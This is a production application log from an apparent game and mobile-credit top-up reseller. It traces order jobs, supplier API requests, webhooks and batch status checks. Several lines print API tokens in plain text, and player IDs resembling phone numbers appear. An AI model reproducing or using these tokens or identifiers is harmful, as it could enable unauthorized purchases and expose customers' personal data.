[2026-03-24 21:50:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"4PlYYNcCFc5DUo0zoAOaQlQho1MQ0iRJ","execution_time":"2026-03-24 21:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vfRw7s-1774378199","operation_id":164304} 
[2026-03-24 21:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 21:50:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 21:50:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-FWC4fQl-1774378105","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:50:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-FWC4fQl-1774378105","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:50:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:50:03] production.ERROR: Order not found or already processed. External ID: ORD-FWC4fQl-1774378105  
[2026-03-24 21:50:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-FWC4fQl-1774378105","status":"completed","codes_count":0} 
[2026-03-24 21:50:04] production.INFO: async() رجع: true  
[2026-03-24 21:50:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:50:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:50:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:50:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:50:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:50:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:50:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:50:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:50:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:50:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:50:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:50:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 761  
[2026-03-24 21:50:09] production.INFO: Constructing job for order: 179430  
[2026-03-24 21:50:12] production.INFO: Handling job for order: 179430  
[2026-03-24 21:50:12] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:50:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:50:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/42/params?qty=1&uuid=dd32b8aa-d3b4-40a6-82d8-ba4c0cd97fe0&Player_ID=0934266501  
[2026-03-24 21:50:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/42/params?qty=1&uuid=dd32b8aa-d3b4-40a6-82d8-ba4c0cd97fe0&Player_ID=0934266501","has_body":false} 
[2026-03-24 21:50:12] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vfRw7s-1774378199","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:50:12] production.INFO: Processed webhook data (normalized) {"id":"ORD-vfRw7s-1774378199","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:50:12] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:50:12] production.INFO: SendAcceptReject: Notification queued {"user_id":1427,"notification_type":"order_approved","reference_id":179429} 
[2026-03-24 21:50:12] production.INFO: Order updated successfully. Order ID: 179429, Status: completed  
[2026-03-24 21:50:12] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vfRw7s-1774378199","status":"completed","codes_count":0} 
[2026-03-24 21:50:12] production.INFO: Operation sent successfully {"operation_id":164305,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-46nWn-1774378212","amount":101.47539000000000442014425061643123626708984375,"status":"processing","product":"96.15 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:50:12"}},"processed_data":{"order_number":"ORD-46nWn-1774378212","amount":101.47539000000000442014425061643123626708984375,"status":"processing","product":"96.15 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:50:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1427  
[2026-03-24 21:50:29] production.INFO: Constructing job for order: 179431  
[2026-03-24 21:50:30] production.INFO: Handling job for order: 179431  
[2026-03-24 21:50:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:50:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:50:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=86c2286e-d227-403c-8502-0bc619ac7cad&Player_ID=51640060012  
[2026-03-24 21:50:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=86c2286e-d227-403c-8502-0bc619ac7cad&Player_ID=51640060012","has_body":false} 
[2026-03-24 21:50:31] production.INFO: Operation sent successfully {"operation_id":164306,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-sw6Ksq9-1774378231","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:50:31"}},"processed_data":{"order_number":"ORD-sw6Ksq9-1774378231","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:50:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-sw6Ksq9-1774378231","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:50:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-sw6Ksq9-1774378231","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:50:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:50:39] production.INFO: SendAcceptReject: Notification queued {"user_id":71,"notification_type":"order_approved","reference_id":179431} 
[2026-03-24 21:50:39] production.INFO: Order updated successfully. Order ID: 179431, Status: completed  
[2026-03-24 21:50:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-sw6Ksq9-1774378231","status":"completed","codes_count":0} 
[2026-03-24 21:50:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 71  
[2026-03-24 21:50:56] production.INFO: Constructing job for order: 179432  
[2026-03-24 21:50:58] production.INFO: Handling job for order: 179432  
[2026-03-24 21:50:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:50:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:50:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=6b3ff3fa-8224-4214-b763-00abd29e0e8d&Player_ID=1568132165  
[2026-03-24 21:50:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=6b3ff3fa-8224-4214-b763-00abd29e0e8d&Player_ID=1568132165","has_body":false} 
[2026-03-24 21:50:59] production.INFO: Operation sent successfully {"operation_id":164307,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5RBvTH7-1774378259","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 21:50:59"}},"processed_data":{"order_number":"ORD-5RBvTH7-1774378259","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 21:51:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5RBvTH7-1774378259","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:51:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-5RBvTH7-1774378259","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:51:42] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:51:42] production.INFO: SendAcceptReject: Notification queued {"user_id":100,"notification_type":"order_approved","reference_id":179432} 
[2026-03-24 21:51:42] production.INFO: Order updated successfully. Order ID: 179432, Status: completed  
[2026-03-24 21:51:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5RBvTH7-1774378259","status":"completed","codes_count":0} 
[2026-03-24 21:51:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 100  
[2026-03-24 21:51:45] production.INFO: Constructing job for order: 179433  
[2026-03-24 21:51:47] production.INFO: Handling job for order: 179433  
[2026-03-24 21:51:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:51:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:51:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=30000&uuid=83320887-0320-4cd8-81ef-352822d418da&Player_ID=74609294  
[2026-03-24 21:51:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=30000&uuid=83320887-0320-4cd8-81ef-352822d418da&Player_ID=74609294","has_body":false} 
[2026-03-24 21:51:48] production.INFO: Operation sent successfully {"operation_id":164308,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UUf-1774378308","amount":7.1904810000000001224407242261804640293121337890625,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 21:51:48"}},"processed_data":{"order_number":"ORD-UUf-1774378308","amount":7.1904810000000001224407242261804640293121337890625,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 21:51:51] production.INFO: Constructing job for order: 179434  
[2026-03-24 21:51:54] production.INFO: Handling job for order: 179434  
[2026-03-24 21:51:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:51:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:51:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=ba44955e-b277-46c5-b4dc-6dd245b3607e&Player_ID=11200494  
[2026-03-24 21:51:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=ba44955e-b277-46c5-b4dc-6dd245b3607e&Player_ID=11200494","has_body":false} 
[2026-03-24 21:51:55] production.INFO: Operation sent successfully {"operation_id":164309,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7CKO-1774378315","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 21:51:55"}},"processed_data":{"order_number":"ORD-7CKO-1774378315","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 21:52:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01"} 
[2026-03-24 21:52:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","total_operations":3,"sites_count":2} 
[2026-03-24 21:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-46nWn-1774378212"]} 
[2026-03-24 21:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 21:52:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 21:52:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 21:52:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:52:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"count":1} 
[2026-03-24 21:52:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"count":1} 
[2026-03-24 21:52:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"user_id":1597,"notification_type":"order_approved","reference_id":179430} 
[2026-03-24 21:52:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:52:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:52:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"processed":1,"errors":0} 
[2026-03-24 21:52:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"processed":1,"errors":0} 
[2026-03-24 21:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"orders_count":2,"order_ids":["ORD-UUf-1774378308","ORD-7CKO-1774378315"]} 
[2026-03-24 21:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305} 
[2026-03-24 21:52:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46nWn-1774378212","operation_id":164305,"orders_count":2} 
[2026-03-24 21:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7CKO-1774378315","operation_id":164309} 
[2026-03-24 21:52:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308} 
[2026-03-24 21:52:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 21:52:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"processed":0,"errors":0} 
[2026-03-24 21:52:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"N6Gdefiq24FJS5yap2e5fIPCHGpTDcnv","execution_time":"2026-03-24 21:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308} 
[2026-03-24 21:54:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02"} 
[2026-03-24 21:54:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","total_operations":2,"sites_count":1} 
[2026-03-24 21:54:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UUf-1774378308","ORD-7CKO-1774378315"]} 
[2026-03-24 21:54:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:54:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 21:54:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 21:54:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 21:54:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"count":2} 
[2026-03-24 21:54:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"count":2} 
[2026-03-24 21:54:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"user_id":949,"notification_type":"order_approved","reference_id":179434} 
[2026-03-24 21:54:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"user_id":194,"notification_type":"order_approved","reference_id":179433} 
[2026-03-24 21:54:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:54:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:54:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"processed":2,"errors":0} 
[2026-03-24 21:54:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308,"processed":2,"errors":0} 
[2026-03-24 21:54:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NYkY0Wgz53YNVbcNDwQbAYXRQkPxnjhG","execution_time":"2026-03-24 21:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UUf-1774378308","operation_id":164308} 
[2026-03-24 21:54:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 21:54:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 21:54:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-UUf-1774378308","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:54:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-UUf-1774378308","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:54:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:54:03] production.ERROR: Order not found or already processed. External ID: ORD-UUf-1774378308  
[2026-03-24 21:54:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-UUf-1774378308","status":"completed","codes_count":0} 
[2026-03-24 21:54:46] production.INFO: Constructing job for order: 179435  
[2026-03-24 21:54:47] production.INFO: Handling job for order: 179435  
[2026-03-24 21:54:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:54:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:54:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/604/params?qty=38000&uuid=16122e94-a178-4f2f-8861-bd31d50762d6&Player_ID=13331  
[2026-03-24 21:54:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/604/params?qty=38000&uuid=16122e94-a178-4f2f-8861-bd31d50762d6&Player_ID=13331","has_body":false} 
[2026-03-24 21:54:48] production.INFO: Operation sent successfully {"operation_id":164310,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-E06Ti-1774378488","amount":3.72678919999999980205984684289433062076568603515625,"status":"processing","product":"Cocco Amount","game":"Cocco","notes":[],"created_at":"2026-03-24 21:54:48"}},"processed_data":{"order_number":"ORD-E06Ti-1774378488","amount":3.72678919999999980205984684289433062076568603515625,"status":"processing","product":"Cocco Amount","game":"Cocco"}} 
[2026-03-24 21:54:54] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-E06Ti-1774378488","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:54:54] production.INFO: Processed webhook data (normalized) {"id":"ORD-E06Ti-1774378488","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:54:54] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:54:54] production.INFO: SendAcceptReject: Notification queued {"user_id":1689,"notification_type":"order_approved","reference_id":179435} 
[2026-03-24 21:54:54] production.INFO: Order updated successfully. Order ID: 179435, Status: completed  
[2026-03-24 21:54:54] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-E06Ti-1774378488","status":"completed","codes_count":0} 
[2026-03-24 21:54:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1689  
[2026-03-24 21:55:00] production.INFO: Executing GetProducts task...  
[2026-03-24 21:55:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:55:00] production.INFO: Executing GetProducts task...  
[2026-03-24 21:55:02] production.INFO: async() رجع: true  
[2026-03-24 21:55:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:55:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:55:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:55:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:55:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:55:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:55:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:55:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:55:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:55:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:55:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:56:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Je7ARlZLBLEglhOdYOnp5MKfH09sf58s","execution_time":"2026-03-24 21:56:01"} 
[2026-03-24 21:56:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"Je7ARlZLBLEglhOdYOnp5MKfH09sf58s","execution_time":"2026-03-24 21:56:01"} 
[2026-03-24 21:57:39] production.INFO: Constructing job for order: 179436  
[2026-03-24 21:57:40] production.INFO: Handling job for order: 179436  
[2026-03-24 21:57:40] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:57:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:57:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/45/params?qty=1&uuid=aa1cf85c-465d-4389-b0e9-2d4840ea5006&Player_ID=0998481514  
[2026-03-24 21:57:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/45/params?qty=1&uuid=aa1cf85c-465d-4389-b0e9-2d4840ea5006&Player_ID=0998481514","has_body":false} 
[2026-03-24 21:57:41] production.INFO: Operation sent successfully {"operation_id":164311,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9rGb3dQ-1774378660","amount":121.7664400000000028967406251467764377593994140625,"status":"processing","product":"115.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:57:40"}},"processed_data":{"order_number":"ORD-9rGb3dQ-1774378660","amount":121.7664400000000028967406251467764377593994140625,"status":"processing","product":"115.38 Units SYR","game":"SYRIATEL UNITS"}} 
